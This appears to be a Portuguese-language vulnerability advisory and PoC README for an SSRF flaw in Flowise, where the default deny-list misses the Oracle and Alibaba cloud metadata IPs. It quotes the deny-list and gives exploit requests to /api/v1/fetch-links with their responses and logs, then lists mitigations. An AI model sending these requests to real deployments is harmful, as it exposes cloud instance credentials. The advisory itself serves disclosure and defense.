abdugafforov-bobur/cve-2026-67620-pocCVE-2026-67620 - SSRF no Flowise por meio de lista de negação incompleta de metadados da nuvem (Oracle OCI 192.0.0.192 + Alibaba 100.100.100.200 contornam a DEFAULT_DENY_LIST)
Produto: FlowiseAI/Flowise — construtor visual de LLM / agentes de IA (~54k ★)
Versões afetadas: ≤ 3.1.4 — confirmado ainda vulnerável na 3.1.4, a versão mais recente (reverificado em 2026-08-06)
Vulnerabilidade: Server-Side Request Forgery por meio de uma lista de bloqueio incompleta
CWE: CWE-918 (SSRF) · CWE-184 (Lista incompleta de entradas não permitidas)
Severidade: Média — CVSS 3.1 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
Descoberto em: 2026-07-10 · Reportado ao VulnCheck (CVD): 2026-07-15
Pesquisador: Bobur Abdugafforov (Mahadsec)
Status do fornecedor — nenhum patch será emitido. O projeto Flowise foi oficialmente descontinuado e não aceita mais relatórios de vulnerabilidades de segurança. Este aviso é publicado para que os operadores que ainda executam o Flowise possam mitigar o problema por conta própria.
O Flowise inclui uma proteção SSRF que bloqueia requisições a serviços de metadados de instâncias em nuvem. A
lista de bloqueio cobre o intervalo link-local 169.254.0.0/16 usado pela AWS, GCP, Azure e
DigitalOcean — mas omite dois endereços de metadados que não estão nesse intervalo:
| Nuvem | IP de metadados | Está na lista de bloqueio? |
|---|---|---|
| AWS / GCP / Azure / DigitalOcean | 169.254.169.254 | ✅ bloqueado |
| Oracle Cloud (OCI) | 192.0.0.192 | ❌ não bloqueado |
| Alibaba Cloud | 100.100.100.200 | ❌ não bloqueado |
O DEFAULT_DENY_LIST completo incluído na imagem Docker oficial flowiseai/flowise:3.1.4
(.../flowise-components/dist/src/httpSecurity.js) é:
'0.0.0.0', '10.0.0.0/8', '127.0.0.0/8', '169.254.0.0/16', '169.254.169.253',
'169.254.169.254', '172.16.0.0/12', '192.168.0.0/16', '224.0.0.0/4', '240.0.0.0/4',
'255.255.255.255/32', '::1', 'fc00::/7', 'fd00:ec2::254', 'fe80::/10', 'ff00::/8',
'localhost', 'ip6-localhost'
18 entradas. Nem 192.0.0.192 nem 100.100.100.200 aparecem, e nenhum dos dois está
dentro de qualquer CIDR listado — observe que 192.168.0.0/16 não cobre 192.0.0.192, e
não há nenhuma entrada 100.64.0.0/10 (CGNAT).
A lista é idêntica byte a byte entre 3.1.2 e 3.1.4. A única alteração em
httpSecurity.ts entre essas versões é a normalização de IPv6 mapeado em IPv4 dentro de
isDeniedIP(), o que não pode afetar dois endereços IPv4 simples.
Nenhum dos endereços omitidos está dentro de um CIDR privado ou link-local convencional:
192.0.0.192 está dentro do bloco de Atribuições de Protocolo da IETF 192.0.0.0/24 e parece
roteável globalmente, enquanto 100.100.100.200 está na faixa CGNAT 100.64.0.0/10, que
a deny-list também não cobre. Uma proteção construída enumerando "o IP de metadados" e a
faixa link-local, portanto, deixa ambos passarem.
Um usuário autenticado pode forçar o servidor Flowise a emitir requisições GET arbitrárias para esses endereços. Em uma implantação na OCI ou na Alibaba Cloud, isso alcança o serviço de metadados da instância, que fornece a identidade da instância e material de credenciais.
packages/components/src/httpSecurity.ts — DEFAULT_DENY_LIST
(compilado: httpSecurity.js:31-50)
A lista contém 169.254.169.254 e a faixa 169.254.0.0/16, mas não
contém 192.0.0.192, 100.100.100.200, nem a faixa CGNAT 100.64.0.0/10.
Fluxo da requisição: GET /api/v1/fetch-links → checkDenyList(url) → secureFetch() via
webCrawl. O secureFetch revalida corretamente os destinos de redirecionamento, então bypasses
baseados em redirecionamento são tratados — o defeito está no conteúdo da lista, o que significa que um redirecionamento
para qualquer um dos IPs omitidos passa na validação assim como uma requisição direta.
A rota fetch-links não possui o middleware checkPermission, então qualquer sessão
autenticada a alcança independentemente do papel.
GET /api/v1/fetch-links?url=<target>&relativeLinksMethod=webCrawl&limit=1
Todo nó que roteia através de secureFetch / secureAxiosRequest com uma URL fornecida pelo usuário
é afetado pela mesma deny-list — por exemplo, os nós web-scraper e HTTP-request.
Nota sobre alcançabilidade: o problema é adicionalmente alcançável sem autenticação através
do endpoint público POST /api/v1/prediction/:id sempre que um nó de busca de URL estiver presente
em um chatflow que tenha sido tornado público.
Confirmado dinamicamente contra uma instância local ativa do Flowise 3.1.2, com listeners vinculados a
192.0.0.192:80 e 100.100.100.200:80.
Controle — o IP de metadados da AWS/GCP/Azure está corretamente bloqueado:
GET /api/v1/fetch-links?url=http://169.254.169.254/latest/meta-data/&relativeLinksMethod=webCrawl&limit=1
HTTP/1.1 500
isDeniedIP: Error: Access to this host is denied by policy.
Bypass 1 — Metadados do Oracle Cloud:
GET /api/v1/fetch-links?url=http://192.0.0.192/opc/v1/instance/&relativeLinksMethod=webCrawl&limit=1
HTTP/1.1 200
{"status":"OK","links":["http://192.0.0.192/opc/v1/instance"]}
Bypass 2 — Metadados do Alibaba Cloud:
GET /api/v1/fetch-links?url=http://100.100.100.200/&relativeLinksMethod=webCrawl&limit=1
HTTP/1.1 200
Requisições do lado do servidor observadas nos listeners (comprovando que a busca se originou do servidor Flowise, e não do cliente):
# OCI listener
192.0.0.192 - - [11/Jul/2026 04:34:35] "GET /opc/v1/instance/ HTTP/1.1" 404 -
192.0.0.192 - - [11/Jul/2026 04:34:54] "GET /opc/v1/instance HTTP/1.1" 404 -
# Alibaba listener
100.100.100.200 - - [11/Jul/2026 04:34:35] "GET / HTTP/1.1" 200 -
100.100.100.200 - - [11/Jul/2026 04:34:54] "GET / HTTP/1.1" 200 -
Um script PoC está incluído como poc.py.
Qualquer usuário autenticado do Flowise — e, quando um nó de busca de URL está presente em um chatflow público, qualquer visitante não autenticado — pode fazer o servidor emitir requisições GET para os serviços de metadados de instância da Oracle Cloud e da Alibaba Cloud, que o produto tenta explicitamente impedir para outros provedores.
Em uma implantação afetada, isso expõe dados de identidade da instância e os endpoints de metadados que fornecem credenciais de função de instância, a partir dos quais decorre acesso adicional à conta de nuvem da vítima. De forma mais ampla, a mesma lacuna permite requisições para o intervalo CGNAT 100.64.0.0/10, que é roteável dentro de muitas redes de provedores.
A severidade reflete o fato de que a exploração exige que a instância do Flowise esteja hospedada na OCI ou na Alibaba Cloud. O defeito em si — uma deny-list incompleta — é independente do provedor.
Nenhum patch do fornecedor será emitido; o projeto foi descontinuado. Os operadores devem:
192.0.0.0/24 e 100.64.0.0/10 a partir do host do Flowise — já que a aplicação não pode ser corrigida.PUT) para que um GET SSRF simples não consiga recuperar credenciais.